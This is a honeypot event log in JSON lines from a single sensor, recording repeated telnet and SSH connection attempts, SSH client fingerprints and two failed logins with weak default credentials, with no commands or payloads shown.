{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49532,"dst_ip":"159.203.135.109","dst_port":23,"session":"53581c7fe8d2","protocol":"telnet","message":"New connection: 161.97.105.174:49532 (159.203.135.109:23) [session: 53581c7fe8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:21.954881Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:22.092337Z","src_ip":"193.32.162.145","session":"28f897e9fba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40224,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0299c8fa6af","protocol":"telnet","message":"New connection: 64.227.101.30:40224 (10.17.0.5:23) [session: f0299c8fa6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:22.192353Z"}
{"eventid":"cowrie.session.closed","duration":30.80003046989441,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:23.177534Z","src_ip":"74.208.239.44","session":"fe40a804b80c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49546,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0fcb9097fff","protocol":"telnet","message":"New connection: 161.97.105.174:49546 (159.203.135.109:23) [session: d0fcb9097fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:24.035644Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49548,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c9504cc2d45","protocol":"telnet","message":"New connection: 161.97.105.174:49548 (159.203.135.109:23) [session: 4c9504cc2d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:25.743845Z"}
{"eventid":"cowrie.session.closed","duration":36.996989727020264,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:26.896188Z","src_ip":"64.227.101.30","session":"aaf8388e4e0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40488,"dst_ip":"10.17.0.5","dst_port":23,"session":"2626813e41ae","protocol":"telnet","message":"New connection: 64.227.101.30:40488 (10.17.0.5:23) [session: 2626813e41ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:27.075277Z"}
{"eventid":"cowrie.session.closed","duration":31.07390785217285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:27.880576Z","src_ip":"161.97.105.174","session":"e67bb62d3846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55785346031189,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:28.437894Z","src_ip":"161.97.105.174","session":"0385670625c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.966845989227295,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:30.232414Z","src_ip":"161.97.105.174","session":"68bc0ebb3c06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40602,"dst_ip":"10.17.0.5","dst_port":23,"session":"194289e17461","protocol":"telnet","message":"New connection: 64.227.101.30:40602 (10.17.0.5:23) [session: 194289e17461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:30.667152Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40714,"dst_ip":"10.17.0.5","dst_port":23,"session":"625b265f963f","protocol":"telnet","message":"New connection: 64.227.101.30:40714 (10.17.0.5:23) [session: 625b265f963f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:31.171519Z"}
{"eventid":"cowrie.session.closed","duration":33.12505340576172,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:31.891685Z","src_ip":"161.97.105.174","session":"9c673f420be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43350,"dst_ip":"10.17.0.5","dst_port":23,"session":"8380a6f4a836","protocol":"telnet","message":"New connection: 64.227.101.30:43350 (10.17.0.5:23) [session: 8380a6f4a836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:33.003088Z"}
{"eventid":"cowrie.session.closed","duration":33.48586940765381,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:33.238493Z","src_ip":"161.97.105.174","session":"a3f222e0628d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41122,"dst_ip":"10.17.0.5","dst_port":23,"session":"07dd44809344","protocol":"telnet","message":"New connection: 64.227.101.30:41122 (10.17.0.5:23) [session: 07dd44809344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:35.530947Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55568,"dst_ip":"159.203.135.109","dst_port":23,"session":"97c42acf19cd","protocol":"telnet","message":"New connection: 161.97.105.174:55568 (159.203.135.109:23) [session: 97c42acf19cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:35.601642Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60928,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b5ce4dea595","protocol":"telnet","message":"New connection: 64.227.101.30:60928 (10.17.0.5:23) [session: 4b5ce4dea595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:36.880755Z"}
{"eventid":"cowrie.session.closed","duration":0.00511932373046875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:36.885746Z","src_ip":"64.227.101.30","session":"4b5ce4dea595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80078887939453,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:37.864459Z","src_ip":"64.227.101.30","session":"17188066b86c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39396,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b1c85f37f0e","protocol":"telnet","message":"New connection: 161.97.105.174:39396 (159.203.135.109:23) [session: 6b1c85f37f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:41.980017Z"}
{"eventid":"cowrie.session.closed","duration":32.58216452598572,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:43.585228Z","src_ip":"161.97.105.174","session":"386a1190ef4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47508,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b5e12976bf","protocol":"telnet","message":"New connection: 64.227.101.30:47508 (10.17.0.5:23) [session: 81b5e12976bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:46.966690Z"}
{"eventid":"cowrie.session.closed","duration":55.14934015274048,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:51.248635Z","src_ip":"64.227.101.30","session":"781c22d97276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.10440492630005,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:52.995908Z","src_ip":"161.97.105.174","session":"d3c9c74fd9a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46780,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ef728178b1b","protocol":"telnet","message":"New connection: 64.227.101.30:46780 (10.17.0.5:23) [session: 0ef728178b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:53.108573Z"}
{"eventid":"cowrie.session.closed","duration":0.8966963291168213,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:54.005140Z","src_ip":"64.227.101.30","session":"0ef728178b1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38514,"dst_ip":"10.17.0.5","dst_port":23,"session":"661188a4ab17","protocol":"telnet","message":"New connection: 64.227.101.30:38514 (10.17.0.5:23) [session: 661188a4ab17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:54.544899Z"}
{"eventid":"cowrie.session.closed","duration":0.005255699157714844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:54.550009Z","src_ip":"64.227.101.30","session":"661188a4ab17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.329671144485474,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:56.284458Z","src_ip":"161.97.105.174","session":"53581c7fe8d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0893292427063,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:57.124851Z","src_ip":"161.97.105.174","session":"d0fcb9097fff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.04152989387512,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:58.785112Z","src_ip":"161.97.105.174","session":"4c9504cc2d45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54788,"dst_ip":"159.203.135.109","dst_port":23,"session":"36fffb1c7cba","protocol":"telnet","message":"New connection: 161.97.105.174:54788 (159.203.135.109:23) [session: 36fffb1c7cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:42:59.655494Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":40916,"dst_ip":"10.17.0.5","dst_port":22,"session":"a82770b83506","protocol":"ssh","message":"New connection: 209.99.189.174:40916 (10.17.0.5:22) [session: a82770b83506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:02.234487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:02.241020Z","src_ip":"209.99.189.174","session":"a82770b83506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:02.368371Z","src_ip":"209.99.189.174","session":"a82770b83506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"test","message":"login attempt [student/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:02.906153Z","src_ip":"209.99.189.174","session":"a82770b83506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54794,"dst_ip":"159.203.135.109","dst_port":23,"session":"733ab285e55f","protocol":"telnet","message":"New connection: 161.97.105.174:54794 (159.203.135.109:23) [session: 733ab285e55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:04.020096Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:04.037596Z","src_ip":"209.99.189.174","session":"a82770b83506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":54802,"dst_ip":"159.203.135.109","dst_port":23,"session":"c85d62c2f073","protocol":"telnet","message":"New connection: 161.97.105.174:54802 (159.203.135.109:23) [session: c85d62c2f073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:06.128323Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a13601db16ac","protocol":"telnet","message":"New connection: 64.227.101.30:54198 (10.17.0.5:23) [session: a13601db16ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:06.423390Z"}
{"eventid":"cowrie.session.closed","duration":36.39719820022583,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:07.064232Z","src_ip":"64.227.101.30","session":"194289e17461","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24656105041504,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:07.249516Z","src_ip":"64.227.101.30","session":"8380a6f4a836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46526,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd9f08dccb21","protocol":"telnet","message":"New connection: 161.97.105.174:46526 (159.203.135.109:23) [session: bd9f08dccb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:09.765632Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46534,"dst_ip":"159.203.135.109","dst_port":23,"session":"128aaead7cb2","protocol":"telnet","message":"New connection: 161.97.105.174:46534 (159.203.135.109:23) [session: 128aaead7cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:10.208392Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55052,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2089e70b47","protocol":"telnet","message":"New connection: 64.227.101.30:55052 (10.17.0.5:23) [session: 1f2089e70b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:10.659463Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46544,"dst_ip":"159.203.135.109","dst_port":23,"session":"60563b484d2d","protocol":"telnet","message":"New connection: 161.97.105.174:46544 (159.203.135.109:23) [session: 60563b484d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:11.596076Z"}
{"eventid":"cowrie.session.closed","duration":36.23293948173523,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:11.834465Z","src_ip":"161.97.105.174","session":"97c42acf19cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46550,"dst_ip":"159.203.135.109","dst_port":23,"session":"c86050d458d1","protocol":"telnet","message":"New connection: 161.97.105.174:46550 (159.203.135.109:23) [session: c86050d458d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:11.949183Z"}
{"eventid":"cowrie.session.closed","duration":32.14127016067505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:14.120948Z","src_ip":"161.97.105.174","session":"6b1c85f37f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.28550577163696,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:15.472646Z","src_ip":"64.227.101.30","session":"fd43242a26a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57078,"dst_ip":"10.17.0.5","dst_port":23,"session":"7063dd6b4310","protocol":"telnet","message":"New connection: 64.227.101.30:57078 (10.17.0.5:23) [session: 7063dd6b4310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:15.658922Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55864,"dst_ip":"10.17.0.5","dst_port":23,"session":"445114b646de","protocol":"telnet","message":"New connection: 64.227.101.30:55864 (10.17.0.5:23) [session: 445114b646de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:17.691548Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44490,"dst_ip":"159.203.135.109","dst_port":23,"session":"8de5668732f9","protocol":"telnet","message":"New connection: 161.97.105.174:44490 (159.203.135.109:23) [session: 8de5668732f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:18.534666Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57972,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd6d81211b9","protocol":"telnet","message":"New connection: 64.227.101.30:57972 (10.17.0.5:23) [session: 4bd6d81211b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:18.855636Z"}
{"eventid":"cowrie.session.closed","duration":2.2513298988342285,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:19.942732Z","src_ip":"64.227.101.30","session":"445114b646de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59822,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f05cd9f38ae","protocol":"telnet","message":"New connection: 64.227.101.30:59822 (10.17.0.5:23) [session: 3f05cd9f38ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:20.297478Z"}
{"eventid":"cowrie.session.closed","duration":44.91799473762512,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:20.448854Z","src_ip":"64.227.101.30","session":"07dd44809344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":12326,"dst_ip":"159.203.135.109","dst_port":22,"session":"267699bcad17","protocol":"ssh","message":"New connection: 220.247.224.226:12326 (159.203.135.109:22) [session: 267699bcad17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:22.811975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:22.819880Z","src_ip":"220.247.224.226","session":"267699bcad17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60528,"dst_ip":"10.17.0.5","dst_port":23,"session":"63385b9c60f1","protocol":"telnet","message":"New connection: 64.227.101.30:60528 (10.17.0.5:23) [session: 63385b9c60f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:22.940421Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:23.047204Z","src_ip":"220.247.224.226","session":"267699bcad17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54612,"dst_ip":"10.17.0.5","dst_port":23,"session":"64c681ba94b2","protocol":"telnet","message":"New connection: 64.227.101.30:54612 (10.17.0.5:23) [session: 64c681ba94b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:23.908698Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test123","message":"login attempt [tester/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:23.985432Z","src_ip":"220.247.224.226","session":"267699bcad17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60262,"dst_ip":"10.17.0.5","dst_port":23,"session":"63ecb37fb0b6","protocol":"telnet","message":"New connection: 64.227.101.30:60262 (10.17.0.5:23) [session: 63ecb37fb0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:24.316218Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60434,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3346caf90ae","protocol":"telnet","message":"New connection: 64.227.101.30:60434 (10.17.0.5:23) [session: a3346caf90ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:24.772835Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:25.216847Z","src_ip":"220.247.224.226","session":"267699bcad17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.979450702667236,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:29.946058Z","src_ip":"64.227.101.30","session":"81b5e12976bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34852,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c40d142ab39","protocol":"telnet","message":"New connection: 161.97.105.174:34852 (159.203.135.109:23) [session: 9c40d142ab39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:30.045570Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"8893acd6ab7a","protocol":"telnet","message":"New connection: 64.227.101.30:33452 (10.17.0.5:23) [session: 8893acd6ab7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:43:30.499645Z"}
